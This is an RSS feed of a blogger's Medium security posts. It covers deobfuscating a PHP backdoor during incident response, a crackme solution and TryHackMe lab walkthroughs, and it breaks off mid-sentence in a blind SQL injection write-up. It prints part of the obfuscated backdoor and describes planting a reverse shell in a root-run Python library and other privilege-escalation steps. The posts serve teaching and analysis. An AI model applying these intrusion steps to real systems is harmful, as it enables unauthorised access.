<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Lorenzo Moulin on Medium]]></title>
        <description><![CDATA[Stories by Lorenzo Moulin on Medium]]></description>
        <link>https://medium.com/@lorenzomoulin?source=rss-8dce785318a7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*KXh8WVXCPLA37q74</url>
            <title>Stories by Lorenzo Moulin on Medium</title>
            <link>https://medium.com/@lorenzomoulin?source=rss-8dce785318a7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 12:41:07 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@lorenzomoulin/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How to deobfuscate a PHP malware under pressure]]></title>
            <link>https://medium.com/@lorenzomoulin/how-to-deobfuscate-a-php-malware-under-pressure-68a6a3ccb11d?source=rss-8dce785318a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/68a6a3ccb11d</guid>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Lorenzo Moulin]]></dc:creator>
            <pubDate>Tue, 22 Jul 2025 19:29:17 GMT</pubDate>
            <atom:updated>2025-07-22T19:29:17.620Z</atom:updated>
            <content:encoded><![CDATA[<p>A few years ago, when I was just an Intern, I worked on an Incident Response from a cyber attack in a Wordpress website. It was my first time working on an incident response.</p><p>The Blue Team collected some artifacts for analysis and the Red team leader called me to give me my first incident response task: “Hello, Lorenzo! Take a look at this PHP file, it would be great if you deobfuscate it”. At that time, I was having Compilers classes at university, so regular expressions were fresh in my mind. I’m saying that because this is kind the idea of a compiler, it takes a file in a high level language and translates it to machine code, but my program takes the obfuscated PHP and translates it to readable code. It is not a compiler but you’ve got the idea.</p><p>I received the file and got this ugly and scary code. Here is a snippet, check the full code and full implementation on my <a href="https://github.com/lorenzomoulin/php-backdoor-deobfuscator"><em>github</em></a>. The original code obfuscated part has one line. I formatted it so you can read.</p><pre>&lt;?php<br>error_reporting(0);<br>header(&#39;Content-Type: text/html; charset=utf-8&#39;);<br>$OoooOO0 = &#39;fgs1075&#39;;<br>$OOOOOO=&quot;%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c&quot;;<br>$O=urldecode($OOOOOO);<br>date_default_timezone_set($O{35}.$O{29}.$O{47});<br>$OO = @$_SERVER[$O{38}.$O{34}.$O{47}.$O{32}.$O{51}.$O{28}.$O{50}.$O{30}.$O{52}.$O{29}.$O{34}.$O{34}.$O{30}];<br>$Oo = @$_SERVER[$O{29}.$O{28}.$O{26}.$O{32}.$O{28}.$O{37}.$O{30}.$O{52}.$O{32}.$O{29}.$O{33}];<br>$o0o0oOO000 = @basename(__FILE__);<br>$OoO = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{41}.$O{34}.$O{37}.$O{30}];<br>$Ooolg = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{36}.$O{47}.$O{47}.$O{28}.$O{35}.$O{30}.$O{52}.$O{44}.$O{36}.$O{50}.$O{40}.$O{32}.$O{36}.$O{40}.$O{28}];<br>$OOOOO = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{32}.$O{37}.$O{28}.$O{29}.$O{52}.$O{36}.$O{40}.$O{28}.$O{50}.$O{30}];<br>$OOOOOo = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{29}.$O{28}.$O{39}.$O{28}.$O{29}.$O{28}.$O{29}];</pre><p>You may be thinking now: “What the heck is that?”. Yeah, this was also my first thought. Keep calm and deobfuscate.</p><p>We all know that PHP separate statements by semicolon, so we should just put one statement in each line, like the image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*QDxD6dnPJ6mP1LXRFeatFw.png" /></figure><p>The first function is <a href="https://www.php.net/manual/pt_BR/function.error-reporting.php"><em>error_reporting</em></a>, and it just tells PHP the level of error reporting, and 0 means that no error will be displayed. Nothing malicious here.</p><p>The <a href="https://www.php.net/manual/en/function.header.php"><em>header</em></a> function is used to send a raw HTTP header. Nothing malicious.</p><p>Now begins the obfuscated part: $OoooOO0 = ‘fgs1075’; Let’s ignore it for now.</p><p>Analyzing lines 5 and 6 we can figure out the obfuscation’s heart. The variable “$OOOOOO” is an URL encoded string which can be easily decoded using <a href="https://gchq.github.io/CyberChef/">CyberChef</a> tool. After calling the <a href="https://www.php.net/manual/en/function.urldecode.php"><em>urldecode</em></a><em> </em>PHP method, the decoded string is stored in the “$O” variable which has thousands of accesses in the remaining code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vrc01Sjn1OyZXnBLds6Orw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kUKeenHj3Skjey-gsdH_ZA.png" /></figure><p>Take a look at the decoded string above: there are lots of characters, so we can assume that this is an alphabet because the “$O” variable access the string’s indexes and concatenate the mapped characters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*QDxD6dnPJ6mP1LXRFeatFw.png" /></figure><p>We can see a lot of accesses to the variable O, using indexes (Array and string offset access syntax with curly braces is deprecated since PHP 7.4) to reach the desired position and concatenating them. The dots mean concatenation, so if we analyze line 8, $O[35].$O[29].$O[47] means that we are concatenating the content of positions 35, 29 and 47. And it is “PRC”, China Timezone.</p><p>This rule applies to the entire code, so we’ve reached the core logic of the deobfuscation process: replace all $O{&lt;number&gt;} occurrences to the corresponding character in the “O” string and remove the dots between accesses to concatenate the characters. How can we do this?</p><p>If you thought about RegEx, you’re absolutely right!</p><p>First, we need to find a way to replace all the occurrences of $O{&lt;number&gt;} with it’s corresponding alphabet character. Second, we need to replace all occurences of dots between whitespaces and \” to manually concatenate the characters. I’ll assume you are comfortable with basics of RegEx and understand why this rule works.</p><pre>\&quot;(\s+\.\s+)\&quot;</pre><p>With this rule working, we are able to code our Python script to deobfuscate this malware. The code is pretty simple, so I’ll leave as an exercise to understand how it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*pK2OYMbu7zR6lzY8VomDDQ.png" /></figure><p>After running the script, we can achieve our goal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*PdwzUThGJHk1Sh8ECuT8SQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*UkaDDOHw-ZtQXzWVLxTQjQ.png" /></figure><h3>Conclusion</h3><p>Analyzing and deobfuscating malware is a fundamental part of any Red Team or incident response workflow. While some backdoors rely on sophisticated obfuscation techniques, others — like the one presented in this article — use simple yet effective methods to evade detection and slow down analysis.</p><p>By understanding the structure of the code and recognizing patterns, we can often build lightweight tools that automate large parts of the reverse engineering process. This not only saves time during investigations but also improves accuracy and reproducibility.</p><p>I hope this article helps other professionals who might face similar obfuscated threats in the wild. Feel free to check out the <a href="https://github.com/lorenzomoulin/php-backdoor-deobfuscator">deobfuscation script on GitHub</a>, suggest improvements, or fork it for your own use.</p><p>If you have questions, feedback, or want to share your own experience with malware analysis, I’d love to hear from you.</p><p>Stay safe — and keep reversing!</p><p>Contact: <a href="https://www.linkedin.com/in/lorenzo-guimar%C3%A3es-moulin-bb7676b2/">LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=68a6a3ccb11d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Simple Crackme #2]]></title>
            <link>https://medium.com/@lorenzomoulin/simple-crackme-2-1dc9732fe600?source=rss-8dce785318a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/1dc9732fe600</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Lorenzo Moulin]]></dc:creator>
            <pubDate>Sat, 08 Feb 2025 18:39:12 GMT</pubDate>
            <atom:updated>2025-02-08T18:39:12.945Z</atom:updated>
            <content:encoded><![CDATA[<p>Link: <a href="https://crackmes.one/crackme/671a4c3e9b533b4c22bd1bdd">Simple crackme</a></p><p>Hello! Thank you for your interest in my article. This is the Simple Crackme #2. Start the analysis by executing the program. It is a simple binary that asks for inputting a password and if the password is the expected, it prints Correct, else it prints Wrong.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*imyyCoYO0lJDIDt_" /></figure><p>I’ve used the x64dbg to debug the binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*C2mNOOtUZgm848og" /></figure><p>The first action to do in this case is to find the strings references in the binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ojt6b-QmGoXgTwZZ" /></figure><p>We can see on top of the screen, three custom messages written by the developer.</p><p>1 — Enter the password</p><p>2 — Correct</p><p>3 — Wrong</p><p>Obviously, the second message is our target, so let’s follow the address that uses it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Gtgd_StLTg9cYkV2" /></figure><p>Following the address, we can find this piece of code that checks a certain condition and based on the condition, we print Correct or Wrong. At the address 00007FF627321A77, we have a call instruction followed by a mov instruction that takes the return value of the previous called function and compares it with the fixed value 0xD1E7F089. If the value is different we print Wrong, else Correct.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SUHU1k17Oq5xWTrc" /></figure><p>But what’s this function at 0x00007FF627321A77 doing?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/0*JhOdu4Agnzcbf1tG" /></figure><p>It jumps to another address, so let’s follow this address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*htnhwFQHWeleIjg-" /></figure><p>00007FF627321870 | mov dword ptr ss:[rbp+4],1505 | it moves 0x1505 to rbp + 4 we call it num1</p><p>00007FF627321877 | mov rax,qword ptr ss:[rbp+120] | it moves the address at rbp+120 to rax we call it “senha”</p><p>00007FF62732187E | movsx eax,byte ptr ds:[rax] | It moves a byte from the address stored in rax to eax</p><p>00007FF627321881 | mov dword ptr ss:[rbp+24],eax | moves eax to rbp + 24</p><p>00007FF627321884 | mov eax,dword ptr ss:[rbp+24] | moves rbp + 24 to eax</p><p>00007FF627321887 | mov dword ptr ss:[rbp+F4],eax | moves eax to rbp + F4</p><p>00007FF62732188D | mov rax,qword ptr ss:[rbp+120] | it moves the address at “senha” to rax</p><p>00007FF627321894 | inc rax | increment rax by one</p><p>00007FF627321897 | mov qword ptr ss:[rbp+120],rax | store the incremented value in “senha”</p><p>00007FF62732189E | cmp dword ptr ss:[rbp+F4],0 | compares the rbp + F4 value to zero to check if we are in the end of the string</p><p>00007FF6273218A5 | je simple crackme #2.7FF6273218B8 | if zero flag is set, we have reached the end of the string, jump to 7FF6273218B8</p><p>00007FF6273218A7 | mov eax,dword ptr ss:[rbp+4] | moves num1 to eax we call it tmp</p><p>00007FF6273218AA | shl eax,5 | tmp = tmp &lt;&lt; 5</p><p>00007FF6273218AD | add eax,dword ptr ss:[rbp+4] tmp = tmp + num1</p><p>00007FF6273218B0 | add eax,dword ptr ss:[rbp+24] | tmp = tmp + ord([rbp + 24]), where ord is the ascii value of the char</p><p>00007FF6273218B3 | mov dword ptr ss:[rbp+4],eax | num1 = tmp</p><p>00007FF6273218B6 | jmp simple crackme #2.7FF627321877 | jmp to 7FF627321877</p><p>This will repeat for each char in the string.</p><p>Reading this piece of code we can write the following python function that achieves the same result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/0*rZ05wsDNLJHgu6JZ" /></figure><p>Unfortunately, we cannot reverse the result of this function because it is a hash function called djb2 hash. But this hash has many collisions, and this custom python library (<a href="https://github.com/m9psy/DJB2_collision_generator/blob/master/djb2_collision_generator/generator.py">https://github.com/m9psy/DJB2_collision_generator/blob/master/djb2_collision_generator/generator.py</a>) can generate collisions pretty fast. So use it to find a possible password and crack the binary without patching.</p><p>Use the python code to generate valid passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FTwte2fTq9CdKCWt" /></figure><p>We have found a valid password!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/243/0*MSW-K4TtCmK3m5I3" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1dc9732fe600" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Valley]]></title>
            <link>https://medium.com/@lorenzomoulin/tryhackme-valley-eb64e968ec24?source=rss-8dce785318a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb64e968ec24</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Lorenzo Moulin]]></dc:creator>
            <pubDate>Sun, 04 Jun 2023 09:02:07 GMT</pubDate>
            <atom:updated>2023-06-04T09:02:07.938Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/valleype">https://tryhackme.com/room/valleype</a></p><h4>Introduction</h4><p>Welcome to another writeup! This time, we have a cool easy (not so easy) challenge, involving a lot of enumeration, interaction with FTP, network packets analysis, binary analysis, hash cracking and python library hijacking leading to privilege escalation!</p><h4>Nmap</h4><p>As always, we start by running Nmap to discover the available services. We’ve got SSH on 22, HTTP on 80 and FTP on 37370 (unusual port, by default FTP is on 21).</p><pre>PORT      STATE SERVICE REASON  VERSION<br>22/tcp    open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)<br>80/tcp    open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))<br>37370/tcp open  ftp     syn-ack vsftpd 3.0.3</pre><h4>Exploring HTTP</h4><p>Let’s see what we get on this website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nyeor-tEdO4gRNYTzgwNEw.png" /></figure><p>Just some text and two buttons, but that’s all we need, let’s click these buttons.</p><h4>Directory Listing</h4><p>Visiting the gallery, we can note a directory listing, so we just need to find other directories to extract some information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*E9O46mqF1gcuQcMClnCFdg.png" /></figure><h4>First note</h4><p>The other directory available is the “pricing”, and it has a valuable information about the developer: he is addicted to leaving notes on the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*iczb9DuWvGphf9HbOIpiaQ.png" /></figure><h4>Ffuf</h4><p>Running Ffuf under the “static” directory, we are able to find a file named “00”, which contains more valuable information.</p><pre>4<br>11<br>8<br>5<br>12<br>3<br>10<br>1<br>2<br>13<br>14<br>15<br>16<br>18<br>6<br>17<br>9<br>7<br>00</pre><h4>00 note</h4><p>From this note, we were given another directory and a username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*aEo_QPykidfY4jrjrGw4Ow.png" /></figure><h4>First login page</h4><p>Let’s explore this login page, if we analyze a js script used by this HTML, the source code gives us a username, a password and a path to one more note.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bMrA4qPXzcr5fzt9RY42Zw.png" /></figure><h4>Analyzing js</h4><p>As we can see, the dev.js script has precious information. We’ve got a username and a password.</p><p>Final note: devNotes37370.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*6_ryw_irgPIiQmykmN5ToQ.png" /></figure><h4>Dev notes</h4><p>This note says something about a ftp server, that’s the same server we found in the enumeration phase.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*rnJrIQPYeSYOyatpKBLriQ.png" /></figure><h4>Login FTP</h4><p>Now that we have a credential, it’s reasonable to try it in the ftp server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*XqSKMoCh4L2eI69L_TPffQ.png" /></figure><p>We have a successful connection and three files in the directory, let’s extract it.</p><h4>Analyzing Pcap files</h4><p>Applying some filters to see only HTTP packets using POST method, we are able to find another credential.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*SFegA99EwKTxNyuxqIMhzw.png" /></figure><h4>Initial Access</h4><p>Now it is time to use this credential in the SSH, and it works!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*B8g8Melg6dNePL9smQYcxQ.png" /></figure><h4>First flag</h4><p>This user has the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/310/1*ZyQS0Axtyn1EU5EzIeI7Tw.png" /></figure><h4>Path to the root</h4><p>In this machine, the path to the root isn’t a direct path. To completely own the system, we must first login as “valley” user, and we can get the credentials exploring the <em>valleyAuthenticator </em>binary. After we get access to “valley” account, we explore a misconfigured permission on python library, insert a malicious payload on it and wait for a cronjob executes it. Once the cronjob executes it, we get a root reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*21TdsrDdT3Xv3eQNDsjE6A.png" /></figure><h4>Horizontal privilege escalation</h4><p>Under the home directory, there is a weird binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*SBSm2PqBBuTTCOrqBaE22Q.png" /></figure><h4>Transferring binary</h4><p>Using scp command to transfer the file to our local machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OComYqyd1X6QC3CeO42Fiw.png" /></figure><p>If we run the strings command and search for UPX (Ultimate Packer for eXecutables) string, we can conclude that this file was packed using it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*5Lo16o6IXffp-7zQrcTGnw.png" /></figure><h4>Deobfuscating binary</h4><p>To unpack this binary, just run upx -d valleyAuthenticator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*k2AnwtO041zT53IVYmifDw.png" /></figure><h4>Getting hashes</h4><p>Now that the binary is unpacked, we can extract valuable information from it. It seems to be two MD5 hashes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*Q47clrChAi382PkX2AVJMQ.png" /></figure><h4>Cracking hashes</h4><p>Using <a href="https://crackstation.net/">CrackStation</a>, we can easily crack these two hashes and get the last credential.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*26KSQ4BIXasLbenBtXynaA.png" /></figure><h4>Login as valley</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oQwq01Ii2ZHY-rtjS_-j0g.png" /></figure><h4>Vertical privilege escalation</h4><p>Now it’s time to escalate vertically. The first step is to list the cronjobs and see that there is a python script that runs every minute as the root user. The second step is to analyze this script and note the base64 library imported by the script. The third step is to note that the users in the group “valleyAdmin” (which we are in this group) has write permission on it. Then, we modify its behaviour to be malicious and gain root access.</p><h4>Listing cronjobs</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*LRu_hqb4V2KhemN1p8gA6Q.png" /></figure><h4>Analyzing python script</h4><p>This script is simple to understand. It just iterate over every photo under the photos directory, base64 encode it and write under photoVault directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*w477-eQFJfEe2VvJR_EsDQ.png" /></figure><h4>Permissions on base64.py</h4><p>As the script uses the base64 python library, we should take a look to see what are the permissions on it. Since we are in the group valleyAdmin, we have write permission on this library, so we can put malicious code inside it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*c9YWk9_epS5DOg_K3Ui91w.png" /></figure><h4>Writing backdoor</h4><p>Since the b64encode is always called, we can insert a python reverse shell to connect with our attacker IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*r9O365oc7OrgwH0-i3WGdg.png" /></figure><p>Now, set the listener in our attacker IP and wait for the connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*VfuIWEjgRA1pV-LgJu8Z-Q.png" /></figure><p>We are root!</p><h4>Flag</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*qC0nlYmtdtNHgDW_VM34Cw.png" /></figure><p>Thank you for reading, I hope you learned the techniques used in this room.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb64e968ec24" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Weasel]]></title>
            <link>https://medium.com/@lorenzomoulin/tryhackme-weasel-292d8d8565a4?source=rss-8dce785318a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/292d8d8565a4</guid>
            <category><![CDATA[jupyter-notebook]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Lorenzo Moulin]]></dc:creator>
            <pubDate>Sun, 28 May 2023 09:01:39 GMT</pubDate>
            <atom:updated>2023-05-28T09:01:39.471Z</atom:updated>
            <content:encoded><![CDATA[<h4>Introduction</h4><p><a href="https://tryhackme.com/room/weasel">Weasel</a> is a medium machine. The only tool I used was smbclient to connect with file share.</p><h4>Reconnaissance</h4><p>Start the reconnaissance running Nmap. I’ve used “nmap -sC -sV MACHINE_IP” and got all the necessary information. As we can see, the host is a Windows machine and has 6 services running. The two interesting services for this room are the Jupyter on 8888 and SMB on 445 port.</p><pre>PORT     STATE SERVICE       VERSION<br>22/tcp   open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)<br>| ssh-hostkey: <br>|   2048 2b17d88a1e8c99bc5bf53d0a5eff5e5e (RSA)<br>|   256 3cc0fdb5c157ab75ac8110aee298120d (ECDSA)<br>|_  256 e9f030bee6cfeffe2d1421a0ac457b70 (ED25519)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>445/tcp  open  microsoft-ds?<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>| rdp-ntlm-info: <br>|   Target_Name: DEV-DATASCI-JUP<br>|   NetBIOS_Domain_Name: DEV-DATASCI-JUP<br>|   NetBIOS_Computer_Name: DEV-DATASCI-JUP<br>|   DNS_Domain_Name: DEV-DATASCI-JUP<br>|   DNS_Computer_Name: DEV-DATASCI-JUP<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2023-05-19T18:04:23+00:00<br>|_ssl-date: 2023-05-19T18:04:39+00:00; -1s from scanner time.<br>| ssl-cert: Subject: commonName=DEV-DATASCI-JUP<br>| Not valid before: 2023-03-12T11:46:50<br>|_Not valid after:  2023-09-11T11:46:50<br>8888/tcp open  http          Tornado httpd 6.0.3<br>| http-title: Jupyter Notebook<br>|_Requested resource was /login?next=%2Ftree%3F<br>| http-robots.txt: 1 disallowed entry <br>|_/ <br>|_http-server-header: TornadoServer/6.0.3<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows</pre><h4>SMB</h4><p>Let’s see what we can get from these shares. The share I could interact with, was the datasci-team share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*7MJA4bv8Vp64k9SSDkiyyQ.png" /></figure><p>Listing the files and traversing through the directories, I’ve found a text file called “jupyter-token.txt” which is very juicy information. Keep this in mind.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*-8vA50spnjbKePBtDt3TXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*ZYiYnN803-uybLIgZ52Uqw.png" /></figure><h4>Jupyter</h4><p>As you saw in the Nmap result, there is a webserver in 8888 port, running Jupyter Notebook. Which leaves us in the following page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*l92sTdNMNVkz-781NuZHMg.png" /></figure><p>Clearly, it needs a token to access the website content, but remember the token we’ve got in previous section and let’s insert it in the upper form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*zJy8-PufM8o_OLU5RQGDKw.png" /></figure><p>As expected, we got access to the notebooks. Note that this structure is the same we saw in the previous section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7A2c14RdrTlgSbYpoAOlQg.png" /></figure><p>Let’s explore this site to see what we have. This Terminal button really caught my attention, let’s click it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IcoHapCShrinMrrKwLqRsA.png" /></figure><h4>Initial Access</h4><p>With little effort, we’ve got a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hN0azer-JKQYAk2mpYfvrg.png" /></figure><h4>Recognizing the environment</h4><p>So, this is a Windows machine, but we got a Linux Shell. Yeah, this is a WSL (Windows Subsystem for Linux).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*tqIMfACQM_kRtePV1hMroQ.png" /></figure><h4>Privilege Escalation</h4><p>Running sudo -l (to check the allowed commands for our user), we see that there are two commands allowed to be run as super user without password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IeKmXydaV-DuRPlk65rPpQ.png" /></figure><p>Let’s check what we already have in the provided path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*_zxPOqUN2qKD8aDgXt57qQ.png" /></figure><p>So, we are free to build our malicious binary and escalate our privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*dUYteh4ghKKtm1NLetTyLw.png" /></figure><p>Compiling the C code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*V4MT9_R2XHBgNHiSvP86OA.png" /></figure><p>Running our binary with sudo gives us a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*rgBDcuyvGVqO0yGTBmFNrQ.png" /></figure><h4>Getting the flag</h4><p>In WSL, we can check if the C drive is mounted by listing the content of /mnt/c directory. In this case, it isn’t mounted, so we need a way to do it and get access to the Windows files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*-pyEKSjuoZlYS1hrTEqvdQ.png" /></figure><p>Running mount -t drvfs C: /mnt/c is sufficient to get access to the files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*FeXd3sKAcDcbC-qA7qOSKg.png" /></figure><p>Get flags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*myCnMMR4FvcF6NlsDU5Inw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=292d8d8565a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Prioritise]]></title>
            <link>https://medium.com/@lorenzomoulin/tryhackme-prioritise-15ef05623e48?source=rss-8dce785318a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/15ef05623e48</guid>
            <category><![CDATA[exploit-development]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Lorenzo Moulin]]></dc:creator>
            <pubDate>Sun, 21 May 2023 09:01:49 GMT</pubDate>
            <atom:updated>2023-05-21T09:01:49.294Z</atom:updated>
            <content:encoded><![CDATA[<h4>Introduction</h4><p>Welcome to another writeup!</p><p><a href="https://tryhackme.com/room/prioritise">Prioritise</a> is a medium room focused on less common SQL injection techniques on a to-do list application.</p><p>Here, you will get your hands dirty when exploiting an awesome boolean-based blind SQL injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*6vBks0OJgX4Gt0ebwENnWw.png" /></figure><h4>Enumeration</h4><p>There is no need for enumeration in this room, just play with the first page and pay attention to the parameter.</p><h4>Navigating through the application</h4><p>As the task says, this application is a to-do list where we can sort the tasks by some parameters like date, title and done.</p><p>Please, pay attention to the image below, where I’ve created two tasks. These two tasks are crucial for the exploit to work.</p><p>First task: the title is “aaaa” and due date is “2023–05–15”.</p><p>Second task: the title is “bbbb” and due date is “2023–05–02”.</p><p>You may be asking yourself why I did this. I’ve created these two tasks, so that when sorted by title, the order is “aaaa”, “bbbb”. When sorted by date, the order is reversed. This explanation is sufficient for now, as you will understand better this soon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mVgtfaU6-Pl6K4GWaGjVdw.png" /><figcaption>Listing my tasks</figcaption></figure><p>When you click on any option of the dropdown below, the application incorporates this value in the URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*pD-VY4PpSJAtx403inM85g.png" /><figcaption>Sort dropdown</figcaption></figure><p>Notice the GET parameter “order” in the URL when we sort by any parameter. It sorts the tasks in increasing order of the selected value. If we order by date, the value is “date”, if we order by title, the value is “title”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*c-_AGLWgSFRwCCw3jy-aQQ.png" /><figcaption>Sorting by 